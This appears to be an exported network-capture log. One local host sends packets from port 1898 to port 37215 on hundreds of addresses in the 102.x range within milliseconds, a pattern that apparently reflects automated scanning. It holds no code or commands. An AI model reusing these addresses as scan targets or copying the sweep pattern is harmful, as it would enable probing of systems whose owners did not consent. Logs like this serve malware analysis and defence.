Feb 20, 2022 15:51:00.750881910 CET	1898	37215	192.168.2.23	102.26.165.108
Feb 20, 2022 15:51:00.750916004 CET	1898	37215	192.168.2.23	102.240.104.189
Feb 20, 2022 15:51:00.750941992 CET	1898	37215	192.168.2.23	102.8.248.68
Feb 20, 2022 15:51:00.750961065 CET	1898	37215	192.168.2.23	102.97.50.80
Feb 20, 2022 15:51:00.750971079 CET	1898	37215	192.168.2.23	102.50.128.19
Feb 20, 2022 15:51:00.750983953 CET	1898	37215	192.168.2.23	102.31.80.56
Feb 20, 2022 15:51:00.750986099 CET	1898	37215	192.168.2.23	102.9.36.120
Feb 20, 2022 15:51:00.751030922 CET	1898	37215	192.168.2.23	102.33.129.132
Feb 20, 2022 15:51:00.751053095 CET	1898	37215	192.168.2.23	102.7.198.108
Feb 20, 2022 15:51:00.751064062 CET	1898	37215	192.168.2.23	102.13.239.176
Feb 20, 2022 15:51:00.751112938 CET	1898	37215	192.168.2.23	102.127.134.165
Feb 20, 2022 15:51:00.751118898 CET	1898	37215	192.168.2.23	102.109.203.254
Feb 20, 2022 15:51:00.751132011 CET	1898	37215	192.168.2.23	102.28.78.104
Feb 20, 2022 15:51:00.751174927 CET	1898	37215	192.168.2.23	102.24.152.3
Feb 20, 2022 15:51:00.751178980 CET	1898	37215	192.168.2.23	102.64.147.207
Feb 20, 2022 15:51:00.751214981 CET	1898	37215	192.168.2.23	102.118.68.38
Feb 20, 2022 15:51:00.751297951 CET	1898	37215	192.168.2.23	102.149.105.126
Feb 20, 2022 15:51:00.751301050 CET	1898	37215	192.168.2.23	102.246.181.227
Feb 20, 2022 15:51:00.751308918 CET	1898	37215	192.168.2.23	102.132.78.79
Feb 20, 2022 15:51:00.751308918 CET	1898	37215	192.168.2.23	102.221.229.106
Feb 20, 2022 15:51:00.751332998 CET	1898	37215	192.168.2.23	102.20.84.160
Feb 20, 2022 15:51:00.751344919 CET	1898	37215	192.168.2.23	102.38.104.246
Feb 20, 2022 15:51:00.751349926 CET	1898	37215	192.168.2.23	102.255.79.114
Feb 20, 2022 15:51:00.751372099 CET	1898	37215	192.168.2.23	102.240.96.112
Feb 20, 2022 15:51:00.751396894 CET	1898	37215	192.168.2.23	102.17.147.92
Feb 20, 2022 15:51:00.751420021 CET	1898	37215	192.168.2.23	102.53.70.164
Feb 20, 2022 15:51:00.751437902 CET	1898	37215	192.168.2.23	102.10.117.121
Feb 20, 2022 15:51:00.751549959 CET	1898	37215	192.168.2.23	102.158.249.176
Feb 20, 2022 15:51:00.751586914 CET	1898	37215	192.168.2.23	102.74.137.185
Feb 20, 2022 15:51:00.751590967 CET	1898	37215	192.168.2.23	102.225.59.220
Feb 20, 2022 15:51:00.751597881 CET	1898	37215	192.168.2.23	102.159.247.159
Feb 20, 2022 15:51:00.751606941 CET	1898	37215	192.168.2.23	102.195.25.150
Feb 20, 2022 15:51:00.751629114 CET	1898	37215	192.168.2.23	102.22.48.125
Feb 20, 2022 15:51:00.751640081 CET	1898	37215	192.168.2.23	102.215.190.3
Feb 20, 2022 15:51:00.751672029 CET	1898	37215	192.168.2.23	102.17.137.48
Feb 20, 2022 15:51:00.751682997 CET	1898	37215	192.168.2.23	102.2.11.38
Feb 20, 2022 15:51:00.751719952 CET	1898	37215	192.168.2.23	102.71.94.49
Feb 20, 2022 15:51:00.751727104 CET	1898	37215	192.168.2.23	102.59.137.160
Feb 20, 2022 15:51:00.751737118 CET	1898	37215	192.168.2.23	102.69.93.123
Feb 20, 2022 15:51:00.751744986 CET	1898	37215	192.168.2.23	102.231.69.52
Feb 20, 2022 15:51:00.751805067 CET	1898	37215	192.168.2.23	102.173.233.13
Feb 20, 2022 15:51:00.751821041 CET	1898	37215	192.168.2.23	102.137.56.47
Feb 20, 2022 15:51:00.751835108 CET	1898	37215	192.168.2.23	102.145.115.225
Feb 20, 2022 15:51:00.751847029 CET	1898	37215	192.168.2.23	102.142.155.74
Feb 20, 2022 15:51:00.751857996 CET	1898	37215	192.168.2.23	102.72.151.38
Feb 20, 2022 15:51:00.751873970 CET	1898	37215	192.168.2.23	102.22.149.11
Feb 20, 2022 15:51:00.751921892 CET	1898	37215	192.168.2.23	102.115.99.14
Feb 20, 2022 15:51:00.751956940 CET	1898	37215	192.168.2.23	102.192.5.99
Feb 20, 2022 15:51:00.751957893 CET	1898	37215	192.168.2.23	102.63.100.219
Feb 20, 2022 15:51:00.752010107 CET	1898	37215	192.168.2.23	102.190.116.43
Feb 20, 2022 15:51:00.752039909 CET	1898	37215	192.168.2.23	102.83.146.106
Feb 20, 2022 15:51:00.752072096 CET	1898	37215	192.168.2.23	102.171.119.123
Feb 20, 2022 15:51:00.752084970 CET	1898	37215	192.168.2.23	102.168.232.118
Feb 20, 2022 15:51:00.752094030 CET	1898	37215	192.168.2.23	102.187.142.103
Feb 20, 2022 15:51:00.752115965 CET	1898	37215	192.168.2.23	102.49.232.145
Feb 20, 2022 15:51:00.752160072 CET	1898	37215	192.168.2.23	102.172.180.20
Feb 20, 2022 15:51:00.752183914 CET	1898	37215	192.168.2.23	102.60.11.128
Feb 20, 2022 15:51:00.752196074 CET	1898	37215	192.168.2.23	102.95.242.225
Feb 20, 2022 15:51:00.752216101 CET	1898	37215	192.168.2.23	102.117.175.145
Feb 20, 2022 15:51:00.752221107 CET	1898	37215	192.168.2.23	102.23.70.255
Feb 20, 2022 15:51:00.752230883 CET	1898	37215	192.168.2.23	102.54.144.190
Feb 20, 2022 15:51:00.752258062 CET	1898	37215	192.168.2.23	102.31.89.84
Feb 20, 2022 15:51:00.752262115 CET	1898	37215	192.168.2.23	102.112.108.243
Feb 20, 2022 15:51:00.752306938 CET	1898	37215	192.168.2.23	102.247.115.254
Feb 20, 2022 15:51:00.752310038 CET	1898	37215	192.168.2.23	102.217.177.50
Feb 20, 2022 15:51:00.752367020 CET	1898	37215	192.168.2.23	102.41.100.12
Feb 20, 2022 15:51:00.752412081 CET	1898	37215	192.168.2.23	102.219.60.213
Feb 20, 2022 15:51:00.752427101 CET	1898	37215	192.168.2.23	102.169.102.12
Feb 20, 2022 15:51:00.752439976 CET	1898	37215	192.168.2.23	102.89.72.109
Feb 20, 2022 15:51:00.752470016 CET	1898	37215	192.168.2.23	102.219.252.250
Feb 20, 2022 15:51:00.752490044 CET	1898	37215	192.168.2.23	102.237.113.68
Feb 20, 2022 15:51:00.752525091 CET	1898	37215	192.168.2.23	102.43.244.94
Feb 20, 2022 15:51:00.752537012 CET	1898	37215	192.168.2.23	102.244.125.93
Feb 20, 2022 15:51:00.752566099 CET	1898	37215	192.168.2.23	102.153.166.61
Feb 20, 2022 15:51:00.752588987 CET	1898	37215	192.168.2.23	102.105.31.111
Feb 20, 2022 15:51:00.752592087 CET	1898	37215	192.168.2.23	102.83.205.219
Feb 20, 2022 15:51:00.752609015 CET	1898	37215	192.168.2.23	102.116.197.13
Feb 20, 2022 15:51:00.752712965 CET	1898	37215	192.168.2.23	102.21.164.11
Feb 20, 2022 15:51:00.752723932 CET	1898	37215	192.168.2.23	102.198.109.122
Feb 20, 2022 15:51:00.752744913 CET	1898	37215	192.168.2.23	102.14.36.132
Feb 20, 2022 15:51:00.752774000 CET	1898	37215	192.168.2.23	102.106.155.171
Feb 20, 2022 15:51:00.752799034 CET	1898	37215	192.168.2.23	102.151.196.199
Feb 20, 2022 15:51:00.752861023 CET	1898	37215	192.168.2.23	102.160.157.240
Feb 20, 2022 15:51:00.752914906 CET	1898	37215	192.168.2.23	102.218.201.40
Feb 20, 2022 15:51:00.752933979 CET	1898	37215	192.168.2.23	102.88.77.203
Feb 20, 2022 15:51:00.752934933 CET	1898	37215	192.168.2.23	102.49.36.91
Feb 20, 2022 15:51:00.752983093 CET	1898	37215	192.168.2.23	102.80.91.172
Feb 20, 2022 15:51:00.752990007 CET	1898	37215	192.168.2.23	102.26.224.72
Feb 20, 2022 15:51:00.753009081 CET	1898	37215	192.168.2.23	102.156.204.35
Feb 20, 2022 15:51:00.753036976 CET	1898	37215	192.168.2.23	102.233.43.225
Feb 20, 2022 15:51:00.753057957 CET	1898	37215	192.168.2.23	102.216.161.68
Feb 20, 2022 15:51:00.753077030 CET	1898	37215	192.168.2.23	102.22.27.125
Feb 20, 2022 15:51:00.753124952 CET	1898	37215	192.168.2.23	102.4.246.20
Feb 20, 2022 15:51:00.753134012 CET	1898	37215	192.168.2.23	102.104.109.103
Feb 20, 2022 15:51:00.753149033 CET	1898	37215	192.168.2.23	102.208.105.32
Feb 20, 2022 15:51:00.753184080 CET	1898	37215	192.168.2.23	102.112.46.234
Feb 20, 2022 15:51:00.753238916 CET	1898	37215	192.168.2.23	102.48.206.207
Feb 20, 2022 15:51:00.753241062 CET	1898	37215	192.168.2.23	102.208.119.10
Feb 20, 2022 15:51:00.753251076 CET	1898	37215	192.168.2.23	102.19.80.196
Feb 20, 2022 15:51:00.753276110 CET	1898	37215	192.168.2.23	102.4.111.148
Feb 20, 2022 15:51:00.753279924 CET	1898	37215	192.168.2.23	102.156.81.139
Feb 20, 2022 15:51:00.753323078 CET	1898	37215	192.168.2.23	102.237.126.170
Feb 20, 2022 15:51:00.753348112 CET	1898	37215	192.168.2.23	102.215.108.77
Feb 20, 2022 15:51:00.753412962 CET	1898	37215	192.168.2.23	102.156.25.225
Feb 20, 2022 15:51:00.753431082 CET	1898	37215	192.168.2.23	102.42.232.56
Feb 20, 2022 15:51:00.753489971 CET	1898	37215	192.168.2.23	102.140.49.118
Feb 20, 2022 15:51:00.753552914 CET	1898	37215	192.168.2.23	102.134.109.208
Feb 20, 2022 15:51:00.753562927 CET	1898	37215	192.168.2.23	102.245.54.241
Feb 20, 2022 15:51:00.753593922 CET	1898	37215	192.168.2.23	102.102.102.208
Feb 20, 2022 15:51:00.753618002 CET	1898	37215	192.168.2.23	102.27.178.70
Feb 20, 2022 15:51:00.753653049 CET	1898	37215	192.168.2.23	102.110.119.245
Feb 20, 2022 15:51:00.753669977 CET	1898	37215	192.168.2.23	102.74.16.146
Feb 20, 2022 15:51:00.753693104 CET	1898	37215	192.168.2.23	102.29.129.248
Feb 20, 2022 15:51:00.753700972 CET	1898	37215	192.168.2.23	102.213.169.212
Feb 20, 2022 15:51:00.753739119 CET	1898	37215	192.168.2.23	102.235.148.243
Feb 20, 2022 15:51:00.753823042 CET	1898	37215	192.168.2.23	102.219.62.42
Feb 20, 2022 15:51:00.753823996 CET	1898	37215	192.168.2.23	102.49.82.15
Feb 20, 2022 15:51:00.753837109 CET	1898	37215	192.168.2.23	102.140.23.169
Feb 20, 2022 15:51:00.753856897 CET	1898	37215	192.168.2.23	102.35.130.118
Feb 20, 2022 15:51:00.753875971 CET	1898	37215	192.168.2.23	102.182.119.177
Feb 20, 2022 15:51:00.753905058 CET	1898	37215	192.168.2.23	102.218.184.177
Feb 20, 2022 15:51:00.753940105 CET	1898	37215	192.168.2.23	102.5.96.113
Feb 20, 2022 15:51:00.753961086 CET	1898	37215	192.168.2.23	102.162.215.3
Feb 20, 2022 15:51:00.753973007 CET	1898	37215	192.168.2.23	102.174.198.162
Feb 20, 2022 15:51:00.753993034 CET	1898	37215	192.168.2.23	102.48.16.42
Feb 20, 2022 15:51:00.753999949 CET	1898	37215	192.168.2.23	102.71.96.170
Feb 20, 2022 15:51:00.754000902 CET	1898	37215	192.168.2.23	102.178.155.154
Feb 20, 2022 15:51:00.754004002 CET	1898	37215	192.168.2.23	102.54.28.171
Feb 20, 2022 15:51:00.754004955 CET	1898	37215	192.168.2.23	102.203.71.179
Feb 20, 2022 15:51:00.754012108 CET	1898	37215	192.168.2.23	102.56.18.153
Feb 20, 2022 15:51:00.754013062 CET	1898	37215	192.168.2.23	102.106.117.131
Feb 20, 2022 15:51:00.754014969 CET	1898	37215	192.168.2.23	102.77.153.33
Feb 20, 2022 15:51:00.754023075 CET	1898	37215	192.168.2.23	102.61.58.40
Feb 20, 2022 15:51:00.754031897 CET	1898	37215	192.168.2.23	102.59.194.232
Feb 20, 2022 15:51:00.754035950 CET	1898	37215	192.168.2.23	102.38.34.119
Feb 20, 2022 15:51:00.754038095 CET	1898	37215	192.168.2.23	102.179.28.77
Feb 20, 2022 15:51:00.754043102 CET	1898	37215	192.168.2.23	102.26.33.211
Feb 20, 2022 15:51:00.754045010 CET	1898	37215	192.168.2.23	102.86.71.108
Feb 20, 2022 15:51:00.754055023 CET	1898	37215	192.168.2.23	102.64.186.139
Feb 20, 2022 15:51:00.754064083 CET	1898	37215	192.168.2.23	102.117.213.97
Feb 20, 2022 15:51:00.754082918 CET	1898	37215	192.168.2.23	102.92.203.157
Feb 20, 2022 15:51:00.754089117 CET	1898	37215	192.168.2.23	102.139.72.161
Feb 20, 2022 15:51:00.754106998 CET	1898	37215	192.168.2.23	102.168.9.212
Feb 20, 2022 15:51:00.754116058 CET	1898	37215	192.168.2.23	102.190.164.10
Feb 20, 2022 15:51:00.754117012 CET	1898	37215	192.168.2.23	102.91.161.177
Feb 20, 2022 15:51:00.754153967 CET	1898	37215	192.168.2.23	102.171.99.234
Feb 20, 2022 15:51:00.754156113 CET	1898	37215	192.168.2.23	102.13.69.86
Feb 20, 2022 15:51:00.754172087 CET	1898	37215	192.168.2.23	102.102.84.167
Feb 20, 2022 15:51:00.754183054 CET	1898	37215	192.168.2.23	102.83.48.162
Feb 20, 2022 15:51:00.754189968 CET	1898	37215	192.168.2.23	102.210.233.139
Feb 20, 2022 15:51:00.754231930 CET	1898	37215	192.168.2.23	102.176.231.225
Feb 20, 2022 15:51:00.754256010 CET	1898	37215	192.168.2.23	102.67.1.89
Feb 20, 2022 15:51:00.754262924 CET	1898	37215	192.168.2.23	102.105.107.150
Feb 20, 2022 15:51:00.754277945 CET	1898	37215	192.168.2.23	102.195.141.162
Feb 20, 2022 15:51:00.754316092 CET	1898	37215	192.168.2.23	102.204.107.153
Feb 20, 2022 15:51:00.754339933 CET	1898	37215	192.168.2.23	102.238.81.176
Feb 20, 2022 15:51:00.754355907 CET	1898	37215	192.168.2.23	102.70.104.25
Feb 20, 2022 15:51:00.754379034 CET	1898	37215	192.168.2.23	102.163.148.44
Feb 20, 2022 15:51:00.754390001 CET	1898	37215	192.168.2.23	102.11.83.210
Feb 20, 2022 15:51:00.754399061 CET	1898	37215	192.168.2.23	102.42.222.125
Feb 20, 2022 15:51:00.754424095 CET	1898	37215	192.168.2.23	102.69.93.224
Feb 20, 2022 15:51:00.754468918 CET	1898	37215	192.168.2.23	102.105.201.179
Feb 20, 2022 15:51:00.754472017 CET	1898	37215	192.168.2.23	102.195.160.236
Feb 20, 2022 15:51:00.754506111 CET	1898	37215	192.168.2.23	102.238.229.115
Feb 20, 2022 15:51:00.754513025 CET	1898	37215	192.168.2.23	102.47.77.133
Feb 20, 2022 15:51:00.754539013 CET	1898	37215	192.168.2.23	102.17.145.231
Feb 20, 2022 15:51:00.754535913 CET	1898	37215	192.168.2.23	102.136.75.128
Feb 20, 2022 15:51:00.754595995 CET	1898	37215	192.168.2.23	102.123.107.220
Feb 20, 2022 15:51:00.754612923 CET	1898	37215	192.168.2.23	102.145.49.172
Feb 20, 2022 15:51:00.754652977 CET	1898	37215	192.168.2.23	102.176.171.82
Feb 20, 2022 15:51:00.754656076 CET	1898	37215	192.168.2.23	102.79.12.237
Feb 20, 2022 15:51:00.754688025 CET	1898	37215	192.168.2.23	102.2.124.33
Feb 20, 2022 15:51:00.754708052 CET	1898	37215	192.168.2.23	102.137.35.243
Feb 20, 2022 15:51:00.754734993 CET	1898	37215	192.168.2.23	102.18.31.207
Feb 20, 2022 15:51:00.754738092 CET	1898	37215	192.168.2.23	102.60.127.11
Feb 20, 2022 15:51:00.754755020 CET	1898	37215	192.168.2.23	102.66.245.112
Feb 20, 2022 15:51:00.754805088 CET	1898	37215	192.168.2.23	102.101.204.242
Feb 20, 2022 15:51:00.754806995 CET	1898	37215	192.168.2.23	102.146.75.9
Feb 20, 2022 15:51:00.754821062 CET	1898	37215	192.168.2.23	102.103.237.243
Feb 20, 2022 15:51:00.754868984 CET	1898	37215	192.168.2.23	102.70.253.248
Feb 20, 2022 15:51:00.754878998 CET	1898	37215	192.168.2.23	102.78.28.248
Feb 20, 2022 15:51:00.754899979 CET	1898	37215	192.168.2.23	102.249.190.53
Feb 20, 2022 15:51:00.754926920 CET	1898	37215	192.168.2.23	102.81.245.252
Feb 20, 2022 15:51:00.754946947 CET	1898	37215	192.168.2.23	102.148.87.160
Feb 20, 2022 15:51:00.754954100 CET	1898	37215	192.168.2.23	102.247.91.85
Feb 20, 2022 15:51:00.754992962 CET	1898	37215	192.168.2.23	102.151.43.69
Feb 20, 2022 15:51:00.755028963 CET	1898	37215	192.168.2.23	102.245.248.87
Feb 20, 2022 15:51:00.755048990 CET	1898	37215	192.168.2.23	102.28.18.152
Feb 20, 2022 15:51:00.755064964 CET	1898	37215	192.168.2.23	102.100.81.44
Feb 20, 2022 15:51:00.755078077 CET	1898	37215	192.168.2.23	102.13.59.254
Feb 20, 2022 15:51:00.755112886 CET	1898	37215	192.168.2.23	102.230.250.75
Feb 20, 2022 15:51:00.755142927 CET	1898	37215	192.168.2.23	102.106.114.133
Feb 20, 2022 15:51:00.755162001 CET	1898	37215	192.168.2.23	102.0.150.58
Feb 20, 2022 15:51:00.755165100 CET	1898	37215	192.168.2.23	102.130.46.213
Feb 20, 2022 15:51:00.755189896 CET	1898	37215	192.168.2.23	102.46.85.94
Feb 20, 2022 15:51:00.755199909 CET	1898	37215	192.168.2.23	102.73.47.95
Feb 20, 2022 15:51:00.755235910 CET	1898	37215	192.168.2.23	102.211.243.149
Feb 20, 2022 15:51:00.755265951 CET	1898	37215	192.168.2.23	102.70.22.248
Feb 20, 2022 15:51:00.755328894 CET	1898	37215	192.168.2.23	102.26.164.254
Feb 20, 2022 15:51:00.755338907 CET	1898	37215	192.168.2.23	102.237.83.75
Feb 20, 2022 15:51:00.755352974 CET	1898	37215	192.168.2.23	102.22.162.219
Feb 20, 2022 15:51:00.755366087 CET	1898	37215	192.168.2.23	102.109.235.81
Feb 20, 2022 15:51:00.755379915 CET	1898	37215	192.168.2.23	102.99.237.110
Feb 20, 2022 15:51:00.755403042 CET	1898	37215	192.168.2.23	102.142.13.117
Feb 20, 2022 15:51:00.755420923 CET	1898	37215	192.168.2.23	102.254.133.241
Feb 20, 2022 15:51:00.755445004 CET	1898	37215	192.168.2.23	102.82.133.159
Feb 20, 2022 15:51:00.755486012 CET	1898	37215	192.168.2.23	102.12.179.28
Feb 20, 2022 15:51:00.755486965 CET	1898	37215	192.168.2.23	102.20.51.38
Feb 20, 2022 15:51:00.755496025 CET	1898	37215	192.168.2.23	102.126.7.131
Feb 20, 2022 15:51:00.755531073 CET	1898	37215	192.168.2.23	102.30.185.9
Feb 20, 2022 15:51:00.755584002 CET	1898	37215	192.168.2.23	102.73.171.51
Feb 20, 2022 15:51:00.755589962 CET	1898	37215	192.168.2.23	102.107.219.194
Feb 20, 2022 15:51:00.755629063 CET	1898	37215	192.168.2.23	102.131.32.168
Feb 20, 2022 15:51:00.755651951 CET	1898	37215	192.168.2.23	102.205.136.174
Feb 20, 2022 15:51:00.755676031 CET	1898	37215	192.168.2.23	102.161.46.118
Feb 20, 2022 15:51:00.755692959 CET	1898	37215	192.168.2.23	102.90.144.37
Feb 20, 2022 15:51:00.755708933 CET	1898	37215	192.168.2.23	102.156.214.223
Feb 20, 2022 15:51:00.755733013 CET	1898	37215	192.168.2.23	102.171.160.94
Feb 20, 2022 15:51:00.755738020 CET	1898	37215	192.168.2.23	102.8.13.209
Feb 20, 2022 15:51:00.755788088 CET	1898	37215	192.168.2.23	102.60.75.78
Feb 20, 2022 15:51:00.755804062 CET	1898	37215	192.168.2.23	102.17.65.228
Feb 20, 2022 15:51:00.755810976 CET	1898	37215	192.168.2.23	102.104.107.123
Feb 20, 2022 15:51:00.755820036 CET	1898	37215	192.168.2.23	102.255.158.158
Feb 20, 2022 15:51:00.755845070 CET	1898	37215	192.168.2.23	102.173.155.91
Feb 20, 2022 15:51:00.755861998 CET	1898	37215	192.168.2.23	102.178.207.22
Feb 20, 2022 15:51:00.755909920 CET	1898	37215	192.168.2.23	102.8.31.202
Feb 20, 2022 15:51:00.755923033 CET	1898	37215	192.168.2.23	102.5.117.204
Feb 20, 2022 15:51:00.755928993 CET	1898	37215	192.168.2.23	102.180.85.201
Feb 20, 2022 15:51:00.755949020 CET	1898	37215	192.168.2.23	102.88.231.43
Feb 20, 2022 15:51:00.755985975 CET	1898	37215	192.168.2.23	102.124.73.224
Feb 20, 2022 15:51:00.756017923 CET	1898	37215	192.168.2.23	102.64.145.114
Feb 20, 2022 15:51:00.756021023 CET	1898	37215	192.168.2.23	102.26.237.3
Feb 20, 2022 15:51:00.756058931 CET	1898	37215	192.168.2.23	102.131.28.38
Feb 20, 2022 15:51:00.756088972 CET	1898	37215	192.168.2.23	102.231.220.151
Feb 20, 2022 15:51:00.756108046 CET	1898	37215	192.168.2.23	102.85.229.105
Feb 20, 2022 15:51:00.756119967 CET	1898	37215	192.168.2.23	102.225.242.191
Feb 20, 2022 15:51:00.756129026 CET	1898	37215	192.168.2.23	102.207.47.236
Feb 20, 2022 15:51:00.756187916 CET	1898	37215	192.168.2.23	102.17.8.41
Feb 20, 2022 15:51:00.756222010 CET	1898	37215	192.168.2.23	102.155.26.223
Feb 20, 2022 15:51:00.756221056 CET	1898	37215	192.168.2.23	102.182.15.209
Feb 20, 2022 15:51:00.756234884 CET	1898	37215	192.168.2.23	102.207.164.87
Feb 20, 2022 15:51:00.756270885 CET	1898	37215	192.168.2.23	102.104.71.119
Feb 20, 2022 15:51:00.756304979 CET	1898	37215	192.168.2.23	102.248.22.104
Feb 20, 2022 15:51:00.756325006 CET	1898	37215	192.168.2.23	102.70.32.56
Feb 20, 2022 15:51:00.756366014 CET	1898	37215	192.168.2.23	102.155.67.128
Feb 20, 2022 15:51:00.756376028 CET	1898	37215	192.168.2.23	102.223.210.189
Feb 20, 2022 15:51:00.756397963 CET	1898	37215	192.168.2.23	102.225.76.58
Feb 20, 2022 15:51:00.756397963 CET	1898	37215	192.168.2.23	102.210.88.253
Feb 20, 2022 15:51:00.756407976 CET	1898	37215	192.168.2.23	102.70.30.65
Feb 20, 2022 15:51:00.756428957 CET	1898	37215	192.168.2.23	102.95.185.234
Feb 20, 2022 15:51:00.756453991 CET	1898	37215	192.168.2.23	102.170.88.244
Feb 20, 2022 15:51:00.756455898 CET	1898	37215	192.168.2.23	102.153.176.76
Feb 20, 2022 15:51:00.756465912 CET	1898	37215	192.168.2.23	102.113.46.6
Feb 20, 2022 15:51:00.756541967 CET	1898	37215	192.168.2.23	102.102.30.243
Feb 20, 2022 15:51:00.756541967 CET	1898	37215	192.168.2.23	102.70.67.239
Feb 20, 2022 15:51:00.756556988 CET	1898	37215	192.168.2.23	102.64.143.84
Feb 20, 2022 15:51:00.756580114 CET	1898	37215	192.168.2.23	102.2.202.137
Feb 20, 2022 15:51:00.756586075 CET	1898	37215	192.168.2.23	102.121.91.184
Feb 20, 2022 15:51:00.756606102 CET	1898	37215	192.168.2.23	102.145.80.194
Feb 20, 2022 15:51:00.756653070 CET	1898	37215	192.168.2.23	102.187.245.5
Feb 20, 2022 15:51:00.756664991 CET	1898	37215	192.168.2.23	102.151.98.16
Feb 20, 2022 15:51:00.756694078 CET	1898	37215	192.168.2.23	102.227.51.119
Feb 20, 2022 15:51:00.756695986 CET	1898	37215	192.168.2.23	102.118.3.247
Feb 20, 2022 15:51:00.756721973 CET	1898	37215	192.168.2.23	102.138.175.26
Feb 20, 2022 15:51:00.756742954 CET	1898	37215	192.168.2.23	102.31.27.9
Feb 20, 2022 15:51:00.756772995 CET	1898	37215	192.168.2.23	102.241.219.211
Feb 20, 2022 15:51:00.756795883 CET	1898	37215	192.168.2.23	102.73.216.254
Feb 20, 2022 15:51:00.756828070 CET	1898	37215	192.168.2.23	102.120.255.47
Feb 20, 2022 15:51:00.756848097 CET	1898	37215	192.168.2.23	102.46.116.86
Feb 20, 2022 15:51:00.756879091 CET	1898	37215	192.168.2.23	102.207.110.167
Feb 20, 2022 15:51:00.756905079 CET	1898	37215	192.168.2.23	102.82.98.19
Feb 20, 2022 15:51:00.756930113 CET	1898	37215	192.168.2.23	102.200.143.166
Feb 20, 2022 15:51:00.756946087 CET	1898	37215	192.168.2.23	102.147.210.142
Feb 20, 2022 15:51:00.756963015 CET	1898	37215	192.168.2.23	102.195.246.46
Feb 20, 2022 15:51:00.756985903 CET	1898	37215	192.168.2.23	102.61.32.178
Feb 20, 2022 15:51:00.756988049 CET	1898	37215	192.168.2.23	102.103.39.250
Feb 20, 2022 15:51:00.757009029 CET	1898	37215	192.168.2.23	102.113.223.231
Feb 20, 2022 15:51:00.757093906 CET	1898	37215	192.168.2.23	102.108.13.218
Feb 20, 2022 15:51:00.757097960 CET	1898	37215	192.168.2.23	102.187.131.215
Feb 20, 2022 15:51:00.757173061 CET	1898	37215	192.168.2.23	102.120.236.250
Feb 20, 2022 15:51:00.757174015 CET	1898	37215	192.168.2.23	102.12.215.157
Feb 20, 2022 15:51:00.757185936 CET	1898	37215	192.168.2.23	102.185.69.86
Feb 20, 2022 15:51:00.757216930 CET	1898	37215	192.168.2.23	102.167.67.88
Feb 20, 2022 15:51:00.757219076 CET	1898	37215	192.168.2.23	102.12.103.250
Feb 20, 2022 15:51:00.757220984 CET	1898	37215	192.168.2.23	102.199.42.189
Feb 20, 2022 15:51:00.757234097 CET	1898	37215	192.168.2.23	102.35.76.90
Feb 20, 2022 15:51:00.757281065 CET	1898	37215	192.168.2.23	102.239.153.112
Feb 20, 2022 15:51:00.757318974 CET	1898	37215	192.168.2.23	102.207.33.182
Feb 20, 2022 15:51:00.757325888 CET	1898	37215	192.168.2.23	102.26.2.253
Feb 20, 2022 15:51:00.757334948 CET	1898	37215	192.168.2.23	102.27.95.168
Feb 20, 2022 15:51:00.757380009 CET	1898	37215	192.168.2.23	102.124.200.98
Feb 20, 2022 15:51:00.757386923 CET	1898	37215	192.168.2.23	102.32.121.56
Feb 20, 2022 15:51:00.757414103 CET	1898	37215	192.168.2.23	102.245.88.166
Feb 20, 2022 15:51:00.757438898 CET	1898	37215	192.168.2.23	102.227.146.2
Feb 20, 2022 15:51:00.757441044 CET	1898	37215	192.168.2.23	102.176.49.73
Feb 20, 2022 15:51:00.757499933 CET	1898	37215	192.168.2.23	102.42.212.120
Feb 20, 2022 15:51:00.757502079 CET	1898	37215	192.168.2.23	102.231.6.1
Feb 20, 2022 15:51:00.757509947 CET	1898	37215	192.168.2.23	102.177.72.241
Feb 20, 2022 15:51:00.757565022 CET	1898	37215	192.168.2.23	102.229.82.180
Feb 20, 2022 15:51:00.757595062 CET	1898	37215	192.168.2.23	102.9.235.226
Feb 20, 2022 15:51:00.757600069 CET	1898	37215	192.168.2.23	102.34.98.184
Feb 20, 2022 15:51:00.757622004 CET	1898	37215	192.168.2.23	102.28.5.198
Feb 20, 2022 15:51:00.757632971 CET	1898	37215	192.168.2.23	102.91.39.131
Feb 20, 2022 15:51:00.757680893 CET	1898	37215	192.168.2.23	102.214.203.81
Feb 20, 2022 15:51:00.757702112 CET	1898	37215	192.168.2.23	102.123.140.63
Feb 20, 2022 15:51:00.757714033 CET	1898	37215	192.168.2.23	102.161.111.33
Feb 20, 2022 15:51:00.757740021 CET	1898	37215	192.168.2.23	102.111.139.179
Feb 20, 2022 15:51:00.757765055 CET	1898	37215	192.168.2.23	102.203.1.155
Feb 20, 2022 15:51:00.757793903 CET	1898	37215	192.168.2.23	102.206.24.145
Feb 20, 2022 15:51:00.757808924 CET	1898	37215	192.168.2.23	102.58.149.101
Feb 20, 2022 15:51:00.757850885 CET	1898	37215	192.168.2.23	102.60.21.236
Feb 20, 2022 15:51:00.757852077 CET	1898	37215	192.168.2.23	102.44.212.223
Feb 20, 2022 15:51:00.757868052 CET	1898	37215	192.168.2.23	102.139.126.69
Feb 20, 2022 15:51:00.757905006 CET	1898	37215	192.168.2.23	102.178.51.198
Feb 20, 2022 15:51:00.757939100 CET	1898	37215	192.168.2.23	102.217.41.235
Feb 20, 2022 15:51:00.757941008 CET	1898	37215	192.168.2.23	102.67.167.11
Feb 20, 2022 15:51:00.757975101 CET	1898	37215	192.168.2.23	102.188.207.158
Feb 20, 2022 15:51:00.757982969 CET	1898	37215	192.168.2.23	102.155.103.2
Feb 20, 2022 15:51:00.757999897 CET	1898	37215	192.168.2.23	102.144.120.3
Feb 20, 2022 15:51:00.758048058 CET	1898	37215	192.168.2.23	102.218.253.105
Feb 20, 2022 15:51:00.758078098 CET	1898	37215	192.168.2.23	102.84.210.85
Feb 20, 2022 15:51:00.758105993 CET	1898	37215	192.168.2.23	102.50.27.229
Feb 20, 2022 15:51:00.758109093 CET	1898	37215	192.168.2.23	102.231.206.232
Feb 20, 2022 15:51:00.758111000 CET	1898	37215	192.168.2.23	102.58.48.5
Feb 20, 2022 15:51:00.758147955 CET	1898	37215	192.168.2.23	102.173.80.186
Feb 20, 2022 15:51:00.758150101 CET	1898	37215	192.168.2.23	102.169.251.125
Feb 20, 2022 15:51:00.758179903 CET	1898	37215	192.168.2.23	102.106.199.169
Feb 20, 2022 15:51:00.758208036 CET	1898	37215	192.168.2.23	102.255.110.162
Feb 20, 2022 15:51:00.758225918 CET	1898	37215	192.168.2.23	102.243.174.55
Feb 20, 2022 15:51:00.758239031 CET	1898	37215	192.168.2.23	102.240.209.175
Feb 20, 2022 15:51:00.758246899 CET	1898	37215	192.168.2.23	102.21.220.90
Feb 20, 2022 15:51:00.758286953 CET	1898	37215	192.168.2.23	102.152.114.208
Feb 20, 2022 15:51:00.758292913 CET	1898	37215	192.168.2.23	102.17.255.2
